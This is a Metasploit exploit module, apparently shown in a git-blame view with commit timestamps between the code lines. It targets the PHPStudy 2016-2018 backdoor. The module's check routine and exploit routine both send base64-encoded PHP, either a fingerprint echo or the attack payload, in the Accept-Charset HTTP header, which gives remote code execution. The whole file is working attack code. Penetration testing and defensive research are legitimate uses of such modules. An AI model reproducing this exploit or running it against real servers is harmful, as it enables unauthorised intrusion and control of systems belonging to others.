2020-02-22 22:55:45 +08:00
|
|
|
##
|
|
|
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
|
##
|
|
|
|
|
|
2020-02-22 19:53:06 +08:00
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
|
|
|
Rank = ExcellentRanking
|
|
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
|
|
2021-02-16 13:56:50 +00:00
|
|
|
def initialize(info = {})
|
|
|
|
|
super(
|
|
|
|
|
update_info(
|
|
|
|
|
info,
|
|
|
|
|
'Name' => 'PHPStudy Backdoor Remote Code execution',
|
|
|
|
|
'Description' => %q{
|
|
|
|
|
This module can detect and exploit the backdoor of PHPStudy.
|
|
|
|
|
},
|
|
|
|
|
'License' => MSF_LICENSE,
|
2021-08-27 17:15:33 +01:00
|
|
|
'Author' => [
|
|
|
|
|
'Dimensional', # POC
|
|
|
|
|
'Airevan' # Metasploit Module
|
|
|
|
|
],
|
2021-02-16 13:56:50 +00:00
|
|
|
'Platform' => ['php'],
|
|
|
|
|
'Arch' => ARCH_PHP,
|
2021-08-27 17:15:33 +01:00
|
|
|
'Targets' => [
|
|
|
|
|
['PHPStudy 2016-2018', {}]
|
|
|
|
|
],
|
|
|
|
|
'References' => [
|
|
|
|
|
['URL', 'https://programmer.group/using-ghidra-to-analyze-the-back-door-of-phpstudy.html']
|
|
|
|
|
],
|
2021-02-16 13:56:50 +00:00
|
|
|
'Privileged' => false,
|
|
|
|
|
'DisclosureDate' => '2019-09-20',
|
2023-02-10 18:04:31 +00:00
|
|
|
'DefaultTarget' => 0,
|
|
|
|
|
'Notes' => {
|
|
|
|
|
'Stability' => [ CRASH_SAFE ],
|
|
|
|
|
'SideEffects' => [ IOC_IN_LOGS ],
|
|
|
|
|
'Reliability' => [ REPEATABLE_SESSION ]
|
|
|
|
|
}
|
2021-02-16 13:56:50 +00:00
|
|
|
)
|
|
|
|
|
)
|
2020-02-22 19:53:06 +08:00
|
|
|
|
2020-02-23 10:23:32 +08:00
|
|
|
register_options(
|
|
|
|
|
[
|
2020-11-25 10:32:17 -06:00
|
|
|
OptString.new('TARGETURI', [true, 'The path to the target file on the system, usually l.php or index.php', '/l.php'])
|
2021-02-16 13:56:50 +00:00
|
|
|
]
|
|
|
|
|
)
|
2020-02-22 19:53:06 +08:00
|
|
|
end
|
2021-02-16 13:56:50 +00:00
|
|
|
|
2020-02-22 19:53:06 +08:00
|
|
|
def check
|
|
|
|
|
uri = target_uri.path
|
2020-02-22 22:55:45 +08:00
|
|
|
fingerprint = Rex::Text.rand_text_alpha(8)
|
2020-02-22 19:53:06 +08:00
|
|
|
res = send_request_cgi({
|
2021-02-16 13:56:50 +00:00
|
|
|
'method' => 'GET',
|
|
|
|
|
'uri' => normalize_uri(uri),
|
|
|
|
|
'headers' => {
|
|
|
|
|
'Accept-Encoding' => 'gzip,deflate',
|
|
|
|
|
'Accept-Charset' => Rex::Text.encode_base64("echo '#{fingerprint}';")
|
2020-02-22 19:53:06 +08:00
|
|
|
}
|
|
|
|
|
})
|
|
|
|
|
|
2020-02-22 22:55:45 +08:00
|
|
|
if res && res.code == 200 && res.body.to_s.include?(fingerprint)
|
2020-02-22 19:53:06 +08:00
|
|
|
return Exploit::CheckCode::Appears
|
|
|
|
|
else
|
|
|
|
|
return Exploit::CheckCode::Safe
|
2020-02-23 13:03:13 +08:00
|
|
|
end
|
2020-02-22 19:53:06 +08:00
|
|
|
end
|
2021-02-16 13:56:50 +00:00
|
|
|
|
2020-02-23 13:03:13 +08:00
|
|
|
def exploit
|
2020-02-22 19:53:06 +08:00
|
|
|
uri = target_uri.path
|
2021-02-16 13:56:50 +00:00
|
|
|
print_good('Sending shellcode')
|
2021-02-24 20:24:57 +00:00
|
|
|
send_request_cgi({
|
2021-02-16 13:56:50 +00:00
|
|
|
'method' => 'GET',
|
|
|
|
|
'uri' => normalize_uri(uri),
|
2020-02-22 19:53:06 +08:00
|
|
|
'headers' => {
|
2021-02-16 13:56:50 +00:00
|
|
|
'Accept-Encoding' => 'gzip,deflate',
|
|
|
|
|
'Accept-Charset' => Rex::Text.encode_base64(payload.encoded)
|
2020-02-22 19:53:06 +08:00
|
|
|
}
|
2021-02-16 13:56:50 +00:00
|
|
|
})
|
2020-02-22 19:53:06 +08:00
|
|
|
end
|
|
|
|
|
end
|